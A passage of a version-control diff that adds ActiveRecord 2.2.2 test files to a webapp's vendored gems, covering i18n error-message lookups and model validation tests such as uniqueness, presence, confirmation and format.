+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_numericality_of without :only_integer w/o mocha
+
+  def test_validates_numericality_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:not_a_number => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
+
+    Topic.validates_numericality_of :title
+    @topic.title = 'a'
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_numericality_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true
+    @topic.title = 'a'
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_numericality_of with :only_integer w/o mocha
+
+  def test_validates_numericality_of_only_integer_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:not_a_number => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true
+    @topic.title = 'a'
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_numericality_of_only_integer_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true
+    @topic.title = 'a'
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_numericality_of :odd w/o mocha
+
+  def test_validates_numericality_of_odd_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:odd => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:odd => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true, :odd => true
+    @topic.title = 0
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_numericality_of_odd_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:odd => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true, :odd => true
+    @topic.title = 0
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_numericality_of :less_than w/o mocha
+
+  def test_validates_numericality_of_less_than_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:less_than => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:less_than => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
+    @topic.title = 1
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_numericality_of_less_than_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:less_than => 'global message'}}}
+
+    Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
+    @topic.title = 1
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+
+  # validates_associated w/o mocha
+
+  def test_validates_associated_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:replies => {:invalid => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
+
+    Topic.validates_associated :replies
+    replied_topic.valid?
+    assert_equal 'custom message', replied_topic.errors.on(:replies)
+  end
+
+  def test_validates_associated_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
+
+    Topic.validates_associated :replies
+    replied_topic.valid?
+    assert_equal 'global message', replied_topic.errors.on(:replies)
+  end
+
+  def test_validations_with_message_symbol_must_translate
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:custom_error => "I am a custom error"}}}
+    Topic.validates_presence_of :title, :message => :custom_error
+    @topic.title = nil
+    @topic.valid?
+    assert_equal "I am a custom error", @topic.errors.on(:title)
+  end
+
+  def test_validates_with_message_symbol_must_translate_per_attribute
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:custom_error => "I am a custom error"}}}}}}
+    Topic.validates_presence_of :title, :message => :custom_error
+    @topic.title = nil
+    @topic.valid?
+    assert_equal "I am a custom error", @topic.errors.on(:title)
+  end
+
+  def test_validates_with_message_symbol_must_translate_per_model
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:custom_error => "I am a custom error"}}}}
+    Topic.validates_presence_of :title, :message => :custom_error
+    @topic.title = nil
+    @topic.valid?
+    assert_equal "I am a custom error", @topic.errors.on(:title)
+  end
+
+  def test_validates_with_message_string
+    Topic.validates_presence_of :title, :message => "I am a custom error"
+    @topic.title = nil
+    @topic.valid?
+    assert_equal "I am a custom error", @topic.errors.on(:title)
+  end
+
+end
+
+class ActiveRecordValidationsGenerateMessageI18nTests < Test::Unit::TestCase
+  def setup
+    reset_callbacks Topic
+    @topic = Topic.new
+    I18n.backend.store_translations :'en', {
+      :activerecord => {
+        :errors => {
+          :messages => {
+            :inclusion => "is not included in the list",
+            :exclusion => "is reserved",
+            :invalid => "is invalid",
+            :confirmation => "doesn't match confirmation",
+            :accepted  => "must be accepted",
+            :empty => "can't be empty",
+            :blank => "can't be blank",
+            :too_long => "is too long (maximum is {{count}} characters)",
+            :too_short => "is too short (minimum is {{count}} characters)",
+            :wrong_length => "is the wrong length (should be {{count}} characters)",
+            :taken => "has already been taken",
+            :not_a_number => "is not a number",
+            :greater_than => "must be greater than {{count}}",
+            :greater_than_or_equal_to => "must be greater than or equal to {{count}}",
+            :equal_to => "must be equal to {{count}}",
+            :less_than => "must be less than {{count}}",
+            :less_than_or_equal_to => "must be less than or equal to {{count}}",
+            :odd => "must be odd",
+            :even => "must be even"
+          }
+        }
+      }
+    }
+  end
+
+  def reset_callbacks(*models)
+    models.each do |model|
+      model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    end
+  end
+
+  # validates_inclusion_of: generate_message(attr_name, :inclusion, :default => configuration[:message], :value => value)
+  def test_generate_message_inclusion_with_default_message
+    assert_equal 'is not included in the list', @topic.errors.generate_message(:title, :inclusion, :default => nil, :value => 'title')
+  end
+
+  def test_generate_message_inclusion_with_custom_message
+    assert_equal 'custom message title', @topic.errors.generate_message(:title, :inclusion, :default => 'custom message {{value}}', :value => 'title')
+  end
+
+  # validates_exclusion_of: generate_message(attr_name, :exclusion, :default => configuration[:message], :value => value)
+  def test_generate_message_exclusion_with_default_message
+    assert_equal 'is reserved', @topic.errors.generate_message(:title, :exclusion, :default => nil, :value => 'title')
+  end
+
+  def test_generate_message_exclusion_with_custom_message
+    assert_equal 'custom message title', @topic.errors.generate_message(:title, :exclusion, :default => 'custom message {{value}}', :value => 'title')
+  end
+
+  # validates_associated: generate_message(attr_name, :invalid, :default => configuration[:message], :value => value)
+  # validates_format_of:  generate_message(attr_name, :invalid, :default => configuration[:message], :value => value)
+  def test_generate_message_invalid_with_default_message
+    assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :default => nil, :value => 'title')
+  end
+
+  def test_generate_message_invalid_with_custom_message
+    assert_equal 'custom message title', @topic.errors.generate_message(:title, :invalid, :default => 'custom message {{value}}', :value => 'title')
+  end
+
+  # validates_confirmation_of: generate_message(attr_name, :confirmation, :default => configuration[:message])
+  def test_generate_message_confirmation_with_default_message
+    assert_equal "doesn't match confirmation", @topic.errors.generate_message(:title, :confirmation, :default => nil)
+  end
+
+  def test_generate_message_confirmation_with_custom_message
+    assert_equal 'custom message', @topic.errors.generate_message(:title, :confirmation, :default => 'custom message')
+  end
+
+  # validates_acceptance_of: generate_message(attr_name, :accepted, :default => configuration[:message])
+  def test_generate_message_accepted_with_default_message
+    assert_equal "must be accepted", @topic.errors.generate_message(:title, :accepted, :default => nil)
+  end
+
+  def test_generate_message_accepted_with_custom_message
+    assert_equal 'custom message', @topic.errors.generate_message(:title, :accepted, :default => 'custom message')
+  end
+
+  # add_on_empty: generate_message(attr, :empty, :default => custom_message)
+  def test_generate_message_empty_with_default_message
+    assert_equal "can't be empty", @topic.errors.generate_message(:title, :empty, :default => nil)
+  end
+
+  def test_generate_message_empty_with_custom_message
+    assert_equal 'custom message', @topic.errors.generate_message(:title, :empty, :default => 'custom message')
+  end
+
+  # add_on_blank: generate_message(attr, :blank, :default => custom_message)
+  def test_generate_message_blank_with_default_message
+    assert_equal "can't be blank", @topic.errors.generate_message(:title, :blank, :default => nil)
+  end
+
+  def test_generate_message_blank_with_custom_message
+    assert_equal 'custom message', @topic.errors.generate_message(:title, :blank, :default => 'custom message')
+  end
+
+  # validates_length_of: generate_message(attr, :too_long, :default => options[:too_long], :count => option_value.end)
+  def test_generate_message_too_long_with_default_message
+    assert_equal "is too long (maximum is 10 characters)", @topic.errors.generate_message(:title, :too_long, :default => nil, :count => 10)
+  end
+
+  def test_generate_message_too_long_with_custom_message
+    assert_equal 'custom message 10', @topic.errors.generate_message(:title, :too_long, :default => 'custom message {{count}}', :count => 10)
+  end
+
+  # validates_length_of: generate_message(attr, :too_short, :default => options[:too_short], :count => option_value.begin)
+  def test_generate_message_too_short_with_default_message
+    assert_equal "is too short (minimum is 10 characters)", @topic.errors.generate_message(:title, :too_short, :default => nil, :count => 10)
+  end
+
+  def test_generate_message_too_short_with_custom_message
+    assert_equal 'custom message 10', @topic.errors.generate_message(:title, :too_short, :default => 'custom message {{count}}', :count => 10)
+  end
+
+  # validates_length_of: generate_message(attr, key, :default => custom_message, :count => option_value)
+  def test_generate_message_wrong_length_with_default_message
+    assert_equal "is the wrong length (should be 10 characters)", @topic.errors.generate_message(:title, :wrong_length, :default => nil, :count => 10)
+  end
+
+  def test_generate_message_wrong_length_with_custom_message
+    assert_equal 'custom message 10', @topic.errors.generate_message(:title, :wrong_length, :default => 'custom message {{count}}', :count => 10)
+  end
+
+  # validates_uniqueness_of: generate_message(attr_name, :taken, :default => configuration[:message])
+  def test_generate_message_taken_with_default_message
+    assert_equal "has already been taken", @topic.errors.generate_message(:title, :taken, :default => nil, :value => 'title')
+  end
+
+  def test_generate_message_taken_with_custom_message
+    assert_equal 'custom message title', @topic.errors.generate_message(:title, :taken, :default => 'custom message {{value}}', :value => 'title')
+  end
+
+  # validates_numericality_of: generate_message(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message])
+  def test_generate_message_not_a_number_with_default_message
+    assert_equal "is not a number", @topic.errors.generate_message(:title, :not_a_number, :default => nil, :value => 'title')
+  end
+
+  def test_generate_message_not_a_number_with_custom_message
+    assert_equal 'custom message title', @topic.errors.generate_message(:title, :not_a_number, :default => 'custom message {{value}}', :value => 'title')
+  end
+
+  # validates_numericality_of: generate_message(attr_name, option, :value => raw_value, :default => configuration[:message])
+  def test_generate_message_greater_than_with_default_message
+    assert_equal "must be greater than 10", @topic.errors.generate_message(:title, :greater_than, :default => nil, :value => 'title', :count => 10)
+  end
+
+  def test_generate_message_greater_than_or_equal_to_with_default_message
+    assert_equal "must be greater than or equal to 10", @topic.errors.generate_message(:title, :greater_than_or_equal_to, :default => nil, :value => 'title', :count => 10)
+  end
+
+  def test_generate_message_equal_to_with_default_message
+    assert_equal "must be equal to 10", @topic.errors.generate_message(:title, :equal_to, :default => nil, :value => 'title', :count => 10)
+  end
+
+  def test_generate_message_less_than_with_default_message
+    assert_equal "must be less than 10", @topic.errors.generate_message(:title, :less_than, :default => nil, :value => 'title', :count => 10)
+  end
+
+  def test_generate_message_less_than_or_equal_to_with_default_message
+    assert_equal "must be less than or equal to 10", @topic.errors.generate_message(:title, :less_than_or_equal_to, :default => nil, :value => 'title', :count => 10)
+  end
+
+  def test_generate_message_odd_with_default_message
+    assert_equal "must be odd", @topic.errors.generate_message(:title, :odd, :default => nil, :value => 'title', :count => 10)
+  end
+
+  def test_generate_message_even_with_default_message
+    assert_equal "must be even", @topic.errors.generate_message(:title, :even, :default => nil, :value => 'title', :count => 10)
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/validations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/validations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/validations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1552 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/person'
+require 'models/developer'
+require 'models/warehouse_thing'
+require 'models/guid'
+
+# The following methods in Topic are used in test_conditional_validation_*
+class Topic
+  has_many :unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
+  has_many :silly_unique_replies, :dependent => :destroy, :foreign_key => "parent_id"
+
+  def condition_is_true
+    true
+  end
+
+  def condition_is_true_but_its_not
+    false
+  end
+end
+
+class ProtectedPerson < ActiveRecord::Base
+  set_table_name 'people'
+  attr_accessor :addon
+  attr_protected :first_name
+end
+
+class UniqueReply < Reply
+  validates_uniqueness_of :content, :scope => 'parent_id'
+end
+
+class PlagiarizedReply < Reply
+  validates_acceptance_of :author_name
+end
+
+class SillyUniqueReply < UniqueReply
+end
+
+class Wizard < ActiveRecord::Base
+  self.abstract_class = true
+
+  validates_uniqueness_of :name
+end
+
+class IneptWizard < Wizard
+  validates_uniqueness_of :city
+end
+
+class Conjurer < IneptWizard
+end
+
+class Thaumaturgist < IneptWizard
+end
+
+
+class ValidationsTest < ActiveRecord::TestCase
+  fixtures :topics, :developers, 'warehouse-things'
+
+  def setup
+    Topic.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    Topic.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    Topic.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+  end
+
+  def test_single_field_validation
+    r = Reply.new
+    r.title = "There's no content!"
+    assert !r.valid?, "A reply without content shouldn't be saveable"
+
+    r.content = "Messa content!"
+    assert r.valid?, "A reply with content should be saveable"
+  end
+
+  def test_single_attr_validation_and_error_msg
+    r = Reply.new
+    r.title = "There's no content!"
+    assert !r.valid?
+    assert r.errors.invalid?("content"), "A reply without content should mark that attribute as invalid"
+    assert_equal "Empty", r.errors.on("content"), "A reply without content should contain an error"
+    assert_equal 1, r.errors.count
+  end
+
+  def test_double_attr_validation_and_error_msg
+    r = Reply.new
+    assert !r.valid?
+
+    assert r.errors.invalid?("title"), "A reply without title should mark that attribute as invalid"
+    assert_equal "Empty", r.errors.on("title"), "A reply without title should contain an error"
+
+    assert r.errors.invalid?("content"), "A reply without content should mark that attribute as invalid"
+    assert_equal "Empty", r.errors.on("content"), "A reply without content should contain an error"
+
+    assert_equal 2, r.errors.count
+  end
+
+  def test_error_on_create
+    r = Reply.new
+    r.title = "Wrong Create"
+    assert !r.valid?
+    assert r.errors.invalid?("title"), "A reply with a bad title should mark that attribute as invalid"
+    assert_equal "is Wrong Create", r.errors.on("title"), "A reply with a bad content should contain an error"
+  end
+
+  def test_error_on_update
+    r = Reply.new
+    r.title = "Bad"
+    r.content = "Good"
+    assert r.save, "First save should be successful"
+
+    r.title = "Wrong Update"
+    assert !r.save, "Second save should fail"
+
+    assert r.errors.invalid?("title"), "A reply with a bad title should mark that attribute as invalid"
+    assert_equal "is Wrong Update", r.errors.on("title"), "A reply with a bad content should contain an error"
+  end
+
+  def test_invalid_record_exception
+    assert_raises(ActiveRecord::RecordInvalid) { Reply.create! }
+    assert_raises(ActiveRecord::RecordInvalid) { Reply.new.save! }
+
+    begin
+      r = Reply.new
+      r.save!
+      flunk
+    rescue ActiveRecord::RecordInvalid => invalid
+      assert_equal r, invalid.record
+    end
+  end
+
+  def test_exception_on_create_bang_many
+    assert_raises(ActiveRecord::RecordInvalid) do
+      Reply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
+    end
+  end
+  
+  def test_exception_on_create_bang_with_block
+    assert_raises(ActiveRecord::RecordInvalid) do
+      Reply.create!({ "title" => "OK" }) do |r|
+        r.content = nil
+      end
+    end
+  end
+  
+  def test_exception_on_create_bang_many_with_block
+    assert_raises(ActiveRecord::RecordInvalid) do
+      Reply.create!([{ "title" => "OK" }, { "title" => "Wrong Create" }]) do |r|
+        r.content = nil
+      end
+    end
+  end
+
+  def test_scoped_create_without_attributes
+    Reply.with_scope(:create => {}) do
+      assert_raises(ActiveRecord::RecordInvalid) { Reply.create! }
+    end
+  end
+
+  def test_create_with_exceptions_using_scope_for_protected_attributes
+    assert_nothing_raised do
+      ProtectedPerson.with_scope( :create => { :first_name => "Mary" } ) do
+        person = ProtectedPerson.create! :addon => "Addon"
+        assert_equal person.first_name, "Mary", "scope should ignore attr_protected"
+      end
+    end
+  end
+
+  def test_create_with_exceptions_using_scope_and_empty_attributes
+    assert_nothing_raised do
+      ProtectedPerson.with_scope( :create => { :first_name => "Mary" } ) do
+        person = ProtectedPerson.create!
+        assert_equal person.first_name, "Mary", "should be ok when no attributes are passed to create!"
+      end
+    end
+ end
+
+  def test_single_error_per_attr_iteration
+    r = Reply.new
+    r.save
+
+    errors = []
+    r.errors.each { |attr, msg| errors << [attr, msg] }
+
+    assert errors.include?(["title", "Empty"])
+    assert errors.include?(["content", "Empty"])
+  end
+
+  def test_multiple_errors_per_attr_iteration_with_full_error_composition
+    r = Reply.new
+    r.title   = "Wrong Create"
+    r.content = "Mismatch"
+    r.save
+
+    errors = []
+    r.errors.each_full { |error| errors << error }
+
+    assert_equal "Title is Wrong Create", errors[0]
+    assert_equal "Title is Content Mismatch", errors[1]
+    assert_equal 2, r.errors.count
+  end
+
+  def test_errors_on_base
+    r = Reply.new
+    r.content = "Mismatch"
+    r.save
+    r.errors.add_to_base "Reply is not dignifying"
+
+    errors = []
+    r.errors.each_full { |error| errors << error }
+
+    assert_equal "Reply is not dignifying", r.errors.on_base
+
+    assert errors.include?("Title Empty")
+    assert errors.include?("Reply is not dignifying")
+    assert_equal 2, r.errors.count
+  end
+
+  def test_create_without_validation
+    reply = Reply.new
+    assert !reply.save
+    assert reply.save(false)
+  end
+
+  def test_create_without_validation_bang
+    count = Reply.count
+    assert_nothing_raised { Reply.new.save_without_validation! }
+    assert count+1, Reply.count
+  end
+
+  def test_validates_each
+    perform = true
+    hits = 0
+    Topic.validates_each(:title, :content, [:title, :content]) do |record, attr|
+      if perform
+        record.errors.add attr, 'gotcha'
+        hits += 1
+      end
+    end
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert !t.save
+    assert_equal 4, hits
+    assert_equal %w(gotcha gotcha), t.errors.on(:title)
+    assert_equal %w(gotcha gotcha), t.errors.on(:content)
+  ensure
+    perform = false
+  end
+
+  def test_no_title_confirmation
+    Topic.validates_confirmation_of(:title)
+
+    t = Topic.new(:author_name => "Plutarch")
+    assert t.valid?
+
+    t.title_confirmation = "Parallel Lives"
+    assert !t.valid?
+
+    t.title_confirmation = nil
+    t.title = "Parallel Lives"
+    assert t.valid?
+
+    t.title_confirmation = "Parallel Lives"
+    assert t.valid?
+  end
+
+  def test_title_confirmation
+    Topic.validates_confirmation_of(:title)
+
+    t = Topic.create("title" => "We should be confirmed","title_confirmation" => "")
+    assert !t.save
+
+    t.title_confirmation = "We should be confirmed"
+    assert t.save
+  end
+
+  def test_terms_of_service_agreement_no_acceptance
+    Topic.validates_acceptance_of(:terms_of_service, :on => :create)
+
+    t = Topic.create("title" => "We should not be confirmed")
+    assert t.save
+  end
+
+  def test_terms_of_service_agreement
+    Topic.validates_acceptance_of(:terms_of_service, :on => :create)
+
+    t = Topic.create("title" => "We should be confirmed","terms_of_service" => "")
+    assert !t.save
+    assert_equal "must be accepted", t.errors.on(:terms_of_service)
+
+    t.terms_of_service = "1"
+    assert t.save
+  end
+
+
+  def test_eula
+    Topic.validates_acceptance_of(:eula, :message => "must be abided", :on => :create)
+
+    t = Topic.create("title" => "We should be confirmed","eula" => "")
+    assert !t.save
+    assert_equal "must be abided", t.errors.on(:eula)
+
+    t.eula = "1"
+    assert t.save
+  end
+
+  def test_terms_of_service_agreement_with_accept_value
+    Topic.validates_acceptance_of(:terms_of_service, :on => :create, :accept => "I agree.")
+
+    t = Topic.create("title" => "We should be confirmed", "terms_of_service" => "")
+    assert !t.save
+    assert_equal "must be accepted", t.errors.on(:terms_of_service)
+
+    t.terms_of_service = "I agree."
+    assert t.save
+  end
+
+  def test_validates_acceptance_of_as_database_column
+    reply = PlagiarizedReply.create("author_name" => "Dan Brown")
+    assert_equal "Dan Brown", reply["author_name"]
+  end
+
+  def test_validates_acceptance_of_with_non_existant_table
+    Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
+
+    assert_nothing_raised ActiveRecord::StatementInvalid do
+      IncorporealModel.validates_acceptance_of(:incorporeal_column)
+    end
+  end
+
+  def test_validate_presences
+    Topic.validates_presence_of(:title, :content)
+
+    t = Topic.create
+    assert !t.save
+    assert_equal "can't be blank", t.errors.on(:title)
+    assert_equal "can't be blank", t.errors.on(:content)
+
+    t.title = "something"
+    t.content  = "   "
+
+    assert !t.save
+    assert_equal "can't be blank", t.errors.on(:content)
+
+    t.content = "like stuff"
+
+    assert t.save
+  end
+
+  def test_validate_uniqueness
+    Topic.validates_uniqueness_of(:title)
+
+    t = Topic.new("title" => "I'm unique!")
+    assert t.save, "Should save t as unique"
+
+    t.content = "Remaining unique"
+    assert t.save, "Should still save t as unique"
+
+    t2 = Topic.new("title" => "I'm unique!")
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_equal "has already been taken", t2.errors.on(:title)
+
+    t2.title = "Now Im really also unique"
+    assert t2.save, "Should now save t2 as unique"
+  end
+
+  def test_validates_uniquness_with_newline_chars
+    Topic.validates_uniqueness_of(:title, :case_sensitive => false)
+
+    t = Topic.new("title" => "new\nline")
+    assert t.save, "Should save t as unique"
+  end
+
+  def test_validate_uniqueness_with_scope
+    Reply.validates_uniqueness_of(:content, :scope => "parent_id")
+
+    t = Topic.create("title" => "I'm unique!")
+
+    r1 = t.replies.create "title" => "r1", "content" => "hello world"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "title" => "r2", "content" => "hello world"
+    assert !r2.valid?, "Saving r2 first time"
+
+    r2.content = "something else"
+    assert r2.save, "Saving r2 second time"
+
+    t2 = Topic.create("title" => "I'm unique too!")
+    r3 = t2.replies.create "title" => "r3", "content" => "hello world"
+    assert r3.valid?, "Saving r3"
+  end
+
+  def test_validate_uniqueness_scoped_to_defining_class
+    t = Topic.create("title" => "What, me worry?")
+
+    r1 = t.unique_replies.create "title" => "r1", "content" => "a barrel of fun"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.silly_unique_replies.create "title" => "r2", "content" => "a barrel of fun"
+    assert !r2.valid?, "Saving r2"
+
+    # Should succeed as validates_uniqueness_of only applies to
+    # UniqueReply and its subclasses
+    r3 = t.replies.create "title" => "r2", "content" => "a barrel of fun"
+    assert r3.valid?, "Saving r3"
+  end
+
+  def test_validate_uniqueness_with_scope_array
+    Reply.validates_uniqueness_of(:author_name, :scope => [:author_email_address, :parent_id])
+
+    t = Topic.create("title" => "The earth is actually flat!")
+
+    r1 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy at rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply"
+    assert r1.valid?, "Saving r1"
+
+    r2 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy at rubyonrails.com", "title" => "You're crazy!", "content" => "Crazy reply again..."
+    assert !r2.valid?, "Saving r2. Double reply by same author."
+
+    r2.author_email_address = "jeremy_alt_email at rubyonrails.com"
+    assert r2.save, "Saving r2 the second time."
+
+    r3 = t.replies.create "author_name" => "jeremy", "author_email_address" => "jeremy_alt_email at rubyonrails.com", "title" => "You're wrong", "content" => "It's cubic"
+    assert !r3.valid?, "Saving r3"
+
+    r3.author_name = "jj"
+    assert r3.save, "Saving r3 the second time."
+
+    r3.author_name = "jeremy"
+    assert !r3.save, "Saving r3 the third time."
+  end
+
+  def test_validate_case_insensitive_uniqueness
+    Topic.validates_uniqueness_of(:title, :parent_id, :case_sensitive => false, :allow_nil => true)
+
+    t = Topic.new("title" => "I'm unique!", :parent_id => 2)
+    assert t.save, "Should save t as unique"
+
+    t.content = "Remaining unique"
+    assert t.save, "Should still save t as unique"
+
+    t2 = Topic.new("title" => "I'm UNIQUE!", :parent_id => 1)
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert t2.errors.on(:title)
+    assert t2.errors.on(:parent_id)
+    assert_equal "has already been taken", t2.errors.on(:title)
+
+    t2.title = "I'm truly UNIQUE!"
+    assert !t2.valid?, "Shouldn't be valid"
+    assert !t2.save, "Shouldn't save t2 as unique"
+    assert_nil t2.errors.on(:title)
+    assert t2.errors.on(:parent_id)
+
+    t2.parent_id = 4
+    assert t2.save, "Should now save t2 as unique"
+
+    t2.parent_id = nil
+    t2.title = nil
+    assert t2.valid?, "should validate with nil"
+    assert t2.save, "should save with nil"
+
+    with_kcode('UTF8') do
+      t_utf8 = Topic.new("title" => "Я тоже уникальный!")
+      assert t_utf8.save, "Should save t_utf8 as unique"
+
+      # If database hasn't UTF-8 character set, this test fails
+      if Topic.find(t_utf8, :select => 'LOWER(title) AS title').title == "я тоже уникальный!"
+        t2_utf8 = Topic.new("title" => "я тоже УНИКАЛЬНЫЙ!")
+        assert !t2_utf8.valid?, "Shouldn't be valid"
+        assert !t2_utf8.save, "Shouldn't save t2_utf8 as unique"
+      end
+    end
+  end
+
+  def test_validate_case_sensitive_uniqueness
+    Topic.validates_uniqueness_of(:title, :case_sensitive => true, :allow_nil => true)
+
+    t = Topic.new("title" => "I'm unique!")
+    assert t.save, "Should save t as unique"
+
+    t.content = "Remaining unique"
+    assert t.save, "Should still save t as unique"
+
+    t2 = Topic.new("title" => "I'M UNIQUE!")
+    assert t2.valid?, "Should be valid"
+    assert t2.save, "Should save t2 as unique"
+    assert !t2.errors.on(:title)
+    assert !t2.errors.on(:parent_id)
+    assert_not_equal "has already been taken", t2.errors.on(:title)
+
+    t3 = Topic.new("title" => "I'M uNiQUe!")
+    assert t3.valid?, "Should be valid"
+    assert t3.save, "Should save t2 as unique"
+    assert !t3.errors.on(:title)
+    assert !t3.errors.on(:parent_id)
+    assert_not_equal "has already been taken", t3.errors.on(:title)
+  end
+
+  def test_validate_case_sensitive_uniqueness_with_attribute_passed_as_integer
+    Topic.validates_uniqueness_of(:title, :case_sensitve => true)
+    t = Topic.create!('title' => 101)
+
+    t2 = Topic.new('title' => 101)
+    assert !t2.valid?
+    assert t2.errors.on(:title)
+  end
+
+  def test_validate_uniqueness_with_non_standard_table_names
+    i1 = WarehouseThing.create(:value => 1000)
+    assert !i1.valid?, "i1 should not be valid"
+    assert i1.errors.on(:value), "Should not be empty"
+  end
+
+  def test_validates_uniqueness_inside_with_scope
+    Topic.validates_uniqueness_of(:title)
+
+    Topic.with_scope(:find => { :conditions => { :author_name => "David" } }) do
+      t1 = Topic.new("title" => "I'm unique!", "author_name" => "Mary")
+      assert t1.save
+      t2 = Topic.new("title" => "I'm unique!", "author_name" => "David")
+      assert !t2.valid?
+    end
+  end
+
+  def test_validate_uniqueness_with_columns_which_are_sql_keywords
+    Guid.validates_uniqueness_of :key
+    g = Guid.new
+    g.key = "foo"
+    assert_nothing_raised { !g.valid? }
+  end
+
+  def test_validate_straight_inheritance_uniqueness
+    w1 = IneptWizard.create(:name => "Rincewind", :city => "Ankh-Morpork")
+    assert w1.valid?, "Saving w1"
+
+    # Should use validation from base class (which is abstract)
+    w2 = IneptWizard.new(:name => "Rincewind", :city => "Quirm")
+    assert !w2.valid?, "w2 shouldn't be valid"
+    assert w2.errors.on(:name), "Should have errors for name"
+    assert_equal "has already been taken", w2.errors.on(:name), "Should have uniqueness message for name"
+
+    w3 = Conjurer.new(:name => "Rincewind", :city => "Quirm")
+    assert !w3.valid?, "w3 shouldn't be valid"
+    assert w3.errors.on(:name), "Should have errors for name"
+    assert_equal "has already been taken", w3.errors.on(:name), "Should have uniqueness message for name"
+
+    w4 = Conjurer.create(:name => "The Amazing Bonko", :city => "Quirm")
+    assert w4.valid?, "Saving w4"
+
+    w5 = Thaumaturgist.new(:name => "The Amazing Bonko", :city => "Lancre")
+    assert !w5.valid?, "w5 shouldn't be valid"
+    assert w5.errors.on(:name), "Should have errors for name"
+    assert_equal "has already been taken", w5.errors.on(:name), "Should have uniqueness message for name"
+
+    w6 = Thaumaturgist.new(:name => "Mustrum Ridcully", :city => "Quirm")
+    assert !w6.valid?, "w6 shouldn't be valid"
+    assert w6.errors.on(:city), "Should have errors for city"
+    assert_equal "has already been taken", w6.errors.on(:city), "Should have uniqueness message for city"
+  end
+
+  def test_validate_format
+    Topic.validates_format_of(:title, :content, :with => /^Validation\smacros \w+!$/, :message => "is bad data")
+
+    t = Topic.create("title" => "i'm incorrect", "content" => "Validation macros rule!")
+    assert !t.valid?, "Shouldn't be valid"
+    assert !t.save, "Shouldn't save because it's invalid"
